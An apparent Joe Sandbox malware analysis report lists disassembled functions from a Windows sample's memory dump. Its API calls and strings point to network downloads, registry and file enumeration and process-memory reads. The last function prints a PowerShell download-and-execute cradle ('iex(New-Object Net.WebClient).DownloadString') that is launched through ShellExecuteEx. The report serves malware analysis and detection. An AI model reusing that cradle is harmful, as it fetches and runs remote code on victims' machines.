LocalAlloc.KERNEL32(00000040,?), ref: 00059F41

Strings

v10, xrefs: 00059EA3
@, xrefs: 00059EF1
v20, xrefs: 00059E21
ERROR_RUN_EXTRACTOR, xrefs: 00059E67

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpymemcmpmemset$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 1977917189-1096346117
Opcode ID: bcb88f63dfc3ae5128afa2daaad7d96dfe4366a94c797a2337f09ace818b4f3c
Instruction ID: 7b6a0ede651a447ed275bc269a011caff8fcbcd5da7a0d52034472786ad93adf
Opcode Fuzzy Hash: bcb88f63dfc3ae5128afa2daaad7d96dfe4366a94c797a2337f09ace818b4f3c
Instruction Fuzzy Hash: 44610170A10248EFDB24EFA4CD95FDE7776AF45341F008118F90A6F192EB746A09CB52

Function 00054FB0 Relevance: 12.1, APIs: 8, Instructions: 82networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00054FCA
HeapAlloc.KERNEL32(00000000), ref: 00054FD1
InternetOpenA.WININET(00070DDF,00000000,00000000,00000000,00000000), ref: 00054FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00055011
InternetReadFile.WININET(00065EDB,?,00000400,00000000), ref: 00055041
memcpy.MSVCRT(00000000,?,00000001), ref: 0005508A
InternetCloseHandle.WININET(00065EDB), ref: 000550B9
InternetCloseHandle.WININET(?), ref: 000550C6

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocFileProcessReadmemcpy
String ID:
API String ID: 3894370878-0
Opcode ID: eda61094d8307461bf04b95a142a082c2fa66211c25f0070bae44a809ff64928
Instruction ID: d5780e6547f793a096d2f1e29daad84bc0c2b242287d6b2d64470ee82f72ed21
Opcode Fuzzy Hash: eda61094d8307461bf04b95a142a082c2fa66211c25f0070bae44a809ff64928
Instruction Fuzzy Hash: 2231E6B4A00218ABDB20DF94DC89BDDB7B4FB48705F1081D9EA09A7281D7706AC58F99

Function 00064780 Relevance: 10.6, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcatA.KERNEL32(?,00BD0808,?,00000104,?,00000104,?,00000104,?,00000104), ref: 000647DB

Part of subcall function 00068DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00068E0B

lstrcatA.KERNEL32(?,00000000), ref: 00064801
lstrcatA.KERNEL32(?,?), ref: 00064820
lstrcatA.KERNEL32(?,?), ref: 00064834
lstrcatA.KERNEL32(?,00BCA0F0), ref: 00064847
lstrcatA.KERNEL32(?,?), ref: 0006485B
lstrcatA.KERNEL32(?,00BD0E58), ref: 0006486F

Part of subcall function 0006A740: lstrcpy.KERNEL32(00070AEF,00000000), ref: 0006A788

Part of subcall function 00068D90: GetFileAttributesA.KERNEL32(00000000,?,00060117,?,00000000,?,00000000,00070DAB,00070DAA), ref: 00068D9F

Part of subcall function 00064570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00064580
Part of subcall function 00064570: HeapAlloc.KERNEL32(00000000), ref: 00064587
Part of subcall function 00064570: wsprintfA.USER32 ref: 000645A6
Part of subcall function 00064570: FindFirstFileA.KERNEL32(?,?), ref: 000645BD

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 167551676-0
Opcode ID: 662cfd7ae6a0e38aa180fe4a25019086458a2ee5f54dd870e9a2a783ccc673a2
Instruction ID: 1105204ca71f751a8e6a0674cca51d956c1bcaaf52437e7e2b740a51a222b60c
Opcode Fuzzy Hash: 662cfd7ae6a0e38aa180fe4a25019086458a2ee5f54dd870e9a2a783ccc673a2
Instruction Fuzzy Hash: CD3141B2900318A7CF14FBB0DC89EE9737DBB58700F444589B75996082EE749789CFA5

Function 000683DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00068426
wsprintfA.USER32 ref: 00068459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 0006847B
RegCloseKey.ADVAPI32(00000000), ref: 0006848C
RegCloseKey.ADVAPI32(00000000), ref: 00068499

Part of subcall function 0006A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0006A7E6

RegQueryValueExA.ADVAPI32(00000000,00BD0508,00000000,000F003F,?,00000400), ref: 000684EC
lstrlenA.KERNEL32(?), ref: 00068501
RegQueryValueExA.ADVAPI32(00000000,00BD0610,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00070B34), ref: 00068599
RegCloseKey.ADVAPI32(00000000), ref: 00068608
RegCloseKey.ADVAPI32(00000000), ref: 0006861A

Strings

%s\%s, xrefs: 0006844D

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 4a12bffef841786621c2798b104698bfe8a6d0ef7367697d17eceb295de2b94c
Instruction ID: b150202a52cc81ad226d28a434dbbd56397fd60ab3c01f3b650e587bf32dc121
Opcode Fuzzy Hash: 4a12bffef841786621c2798b104698bfe8a6d0ef7367697d17eceb295de2b94c
Instruction Fuzzy Hash: 3721E971A10218ABDB64DB54DC89FE9B3B9FB48700F00C5D9E609A6140DF716A85CFD4

Function 00067690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 000676A4
HeapAlloc.KERNEL32(00000000), ref: 000676AB
RegOpenKeyExA.ADVAPI32(80000002,00BCB6F0,00000000,00020119,00000000), ref: 000676DD
RegQueryValueExA.ADVAPI32(00000000,00BD04F0,00000000,00000000,?,000000FF), ref: 000676FE
RegCloseKey.ADVAPI32(00000000), ref: 00067708

Strings

Windows 11, xrefs: 000676BD

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3466090806-2517555085
Opcode ID: cd3f157496078dac721a8b88a820320472c3c41d7a5ada39147965bb345a5a5f
Instruction ID: dd0bbdbaa89dd8282c2b62dac2cb396b02e4550146d5362afa8e3bbb9adcda93
Opcode Fuzzy Hash: cd3f157496078dac721a8b88a820320472c3c41d7a5ada39147965bb345a5a5f
Instruction Fuzzy Hash: 9E0162B5A04304FBDB00DBE4ED4EFADB7B9EB48705F104195FA08D7291E67499008B91

Function 00067720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00067734
HeapAlloc.KERNEL32(00000000), ref: 0006773B
RegOpenKeyExA.ADVAPI32(80000002,00BCB6F0,00000000,00020119,000676B9), ref: 0006775B
RegQueryValueExA.ADVAPI32(000676B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0006777A
RegCloseKey.ADVAPI32(000676B9), ref: 00067784

Strings

CurrentBuildNumber, xrefs: 00067771

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3466090806-1022791448
Opcode ID: cccfc74fae3504e751193a499666b65fed460ab9cd5f63aa3b8a6cd9cc33ceae
Instruction ID: 07546b61116dcc00fa04d29633af3db2379be800702a79b893e9751fce387c28
Opcode Fuzzy Hash: cccfc74fae3504e751193a499666b65fed460ab9cd5f63aa3b8a6cd9cc33ceae
Instruction Fuzzy Hash: 0C0117B5A40308FBD700DBE4EC4EFAEB7B8FB48705F104559FA05A7281D6745900CB92

Function 000640B0 Relevance: 9.1, APIs: 6, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 000640D5
RegOpenKeyExA.ADVAPI32(80000001,00BD0D58,00000000,00020119,?), ref: 000640F4
RegQueryValueExA.ADVAPI32(?,00BD0A18,00000000,00000000,00000000,000000FF), ref: 00064118
RegCloseKey.ADVAPI32(?), ref: 00064122
lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 00064147
lstrcatA.KERNEL32(?,00BD1B80), ref: 0006415B

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValuememset
String ID:
API String ID: 2623679115-0
Opcode ID: bba4d36c59ba11f32015038febc1ebc2aa39295a48c3c8fc5a7412ab91f0c5e1
Instruction ID: 464a04f82eb8b2c8469558e14d4c66690f3e5a1131c3e0a2ea5c00da4a989e21
Opcode Fuzzy Hash: bba4d36c59ba11f32015038febc1ebc2aa39295a48c3c8fc5a7412ab91f0c5e1
Instruction Fuzzy Hash: 00416CB6D00208ABDB14EBA0EC5AFFE737DBB48300F44455DB61557182EA755B8C8BE2

Function 00063560 Relevance: 9.1, APIs: 6, Instructions: 122stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00063588

Part of subcall function 0006A740: lstrcpy.KERNEL32(00070AEF,00000000), ref: 0006A788

strtok_s.MSVCRT ref: 000636D1

Part of subcall function 0006A820: lstrlenA.KERNEL32(00000000,?,?,00065B54,00070ADB,00070ADA,?,?,00066B16,00000000,?,00BBFAB0,?,0007110C,?,00000000), ref: 0006A82B
Part of subcall function 0006A820: lstrcpy.KERNEL32(00070AEF,00000000), ref: 0006A885

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: lstrcpystrtok_s$lstrlen
String ID:
API String ID: 3184129880-0
Opcode ID: 1f00a07f307983d78767ad0f2be2311c43cb4dc63c22add6a45ade961f187ace
Instruction ID: 006251fdee8245db41d57e6b6242b232751bec0ef0752c46ad02dbb8f6d9f8b5
Opcode Fuzzy Hash: 1f00a07f307983d78767ad0f2be2311c43cb4dc63c22add6a45ade961f187ace
Instruction Fuzzy Hash: 7E412BB1E10208AFDB04EFA4D849AEEB7B6BF54304F008119F51677291DB759A05CFA6

Function 0006B38C Relevance: 9.1, APIs: 6, Instructions: 98COMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 0006B39A

Part of subcall function 0006AFAC: __mtinitlocknum.LIBCMT ref: 0006AFC2
Part of subcall function 0006AFAC: __amsg_exit.LIBCMT ref: 0006AFCE
Part of subcall function 0006AFAC: EnterCriticalSection.KERNEL32(?,?,?,0006AC60,0000000E,0007A0E8,0000000C,0006AC2A), ref: 0006AFD6

DecodePointer.KERNEL32(0007A128,00000020,0006B4DD,?,00000001,00000000,?,0006B4FF,000000FF,?,0006AFD3,00000011,?,?,0006AC60,0000000E), ref: 0006B3D6
DecodePointer.KERNEL32(?,0006B4FF,000000FF,?,0006AFD3,00000011,?,?,0006AC60,0000000E,0007A0E8,0000000C,0006AC2A), ref: 0006B3E7

Part of subcall function 0006BE35: EncodePointer.KERNEL32(00000000,0006C063,000995B8,00000314,00000000,?,?,?,?,?,0006B707,000995B8,Microsoft Visual C++ Runtime Library,00012010), ref: 0006BE37

DecodePointer.KERNEL32(-00000004,?,0006B4FF,000000FF,?,0006AFD3,00000011,?,?,0006AC60,0000000E,0007A0E8,0000000C,0006AC2A), ref: 0006B40D
DecodePointer.KERNEL32(?,0006B4FF,000000FF,?,0006AFD3,00000011,?,?,0006AC60,0000000E,0007A0E8,0000000C,0006AC2A), ref: 0006B420
DecodePointer.KERNEL32(?,0006B4FF,000000FF,?,0006AFD3,00000011,?,?,0006AC60,0000000E,0007A0E8,0000000C,0006AC2A), ref: 0006B42A

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: Pointer$Decode$CriticalEncodeEnterSection__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2005412495-0
Opcode ID: fedf115eb617158ac43cb2dd20dc1e679404054d126d97d5bfd3c87d433efb97
Instruction ID: 85f2de3323e3b4184c4ec440acc678d683a2314df8829fce9ff3962094eee9bc
Opcode Fuzzy Hash: fedf115eb617158ac43cb2dd20dc1e679404054d126d97d5bfd3c87d433efb97
Instruction Fuzzy Hash: DA3139B0D00249DFDF50AFA8C8492DEBBF2BF08310F10402AE514E6252DFB98984CF15

Function 000599C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 000599EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00059A11
LocalAlloc.KERNEL32(00000040,?), ref: 00059A31
ReadFile.KERNEL32(000000FF,?,00000000,000602E7,00000000), ref: 00059A5A
LocalFree.KERNEL32(000602E7), ref: 00059A90
CloseHandle.KERNEL32(000000FF), ref: 00059A9A

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: c0f04f92e6f24868ec84ae9770710b37fcfcfafa40841ca54f8928fe69c8e889
Instruction ID: 434b399e06a14f62b9f35a07baadfebe41dea9b5abd5375b6ad6f30f2bd0223c
Opcode Fuzzy Hash: c0f04f92e6f24868ec84ae9770710b37fcfcfafa40841ca54f8928fe69c8e889
Instruction Fuzzy Hash: 2C3129B4A00209EFDB14DF94D889BEEB7F5FF48341F108159E901A7290D774AA45CFA2

Function 0006C9DE Relevance: 9.0, APIs: 6, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0006C9EA

Part of subcall function 0006BF9F: __getptd_noexit.LIBCMT ref: 0006BFA2
Part of subcall function 0006BF9F: __amsg_exit.LIBCMT ref: 0006BFAF

__amsg_exit.LIBCMT ref: 0006CA0A
__lock.LIBCMT ref: 0006CA1A
InterlockedDecrement.KERNEL32(?), ref: 0006CA37
free.MSVCRT ref: 0006CA4A
InterlockedIncrement.KERNEL32(0007B558), ref: 0006CA62

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lockfree
String ID:
API String ID: 634100517-0
Opcode ID: 2c6059e306b8f42dbc9a1b27849c5ba862b1ebb6e077ff0de9c9a2f58ae8cbdf
Instruction ID: 6e497254a0ea421665dd231b285f2bbf506e28ffc2ef984d7f7b5af65be75b1b
Opcode Fuzzy Hash: 2c6059e306b8f42dbc9a1b27849c5ba862b1ebb6e077ff0de9c9a2f58ae8cbdf
Instruction Fuzzy Hash: 8701C031E01B199BF760EBA88805BAEB3E2BF01758F054119E554B7292CB786981CBD7

Function 00066F00 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00066F1F
??_U@YAPAXI@Z.MSVCRT(00000000,?,?,?,?,?,?,?,?,0006719A,00000000,65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30,00000000,00000000), ref: 00066F4D

Part of subcall function 00066BD0: strlen.MSVCRT ref: 00066BE1
Part of subcall function 00066BD0: strlen.MSVCRT ref: 00066C05

VirtualQueryEx.KERNEL32(0006730D,00000000,?,0000001C), ref: 00066F92
??_V@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0006719A), ref: 000670B3

Part of subcall function 00066DE0: ReadProcessMemory.KERNEL32(00000000,00000000,?,?,00000000,00064000,00064000,00000000,00000004), ref: 00066DF8

Strings

@, xrefs: 00066FA6

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: strlen$MemoryProcessQueryReadVirtual
String ID: @
API String ID: 2950663791-2766056989
Opcode ID: 07e4d3c11c3dcf315eb1155728559773e7ade8841feb83196366fd0016980732
Instruction ID: 6210c929d82f6c73e481a7f63fcec61211fbfb82040b716d63309046337ea2ae
Opcode Fuzzy Hash: 07e4d3c11c3dcf315eb1155728559773e7ade8841feb83196366fd0016980732
Instruction Fuzzy Hash: C85108B5E04109EBEB04CF98D981AEFB7B6FF88304F108518F919A7240D775EA11CBA1

Function 00062C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 0006A740: lstrcpy.KERNEL32(00070AEF,00000000), ref: 0006A788

Part of subcall function 0006A9B0: lstrlenA.KERNEL32(?,00071110,?,00000000,00070AEF), ref: 0006A9C5
Part of subcall function 0006A9B0: lstrcpy.KERNEL32(00000000), ref: 0006AA04
Part of subcall function 0006A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0006AA12

Part of subcall function 0006A920: lstrcpy.KERNEL32(00000000,?), ref: 0006A972
Part of subcall function 0006A920: lstrcatA.KERNEL32(00000000), ref: 0006A982

Part of subcall function 0006A8A0: lstrcpy.KERNEL32(?,00070AEF), ref: 0006A905

ShellExecuteEx.SHELL32(0000003C), ref: 00062D85

Strings

-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00062CC4
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00062D04
<, xrefs: 00062D39
')", xrefs: 00062CB3

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
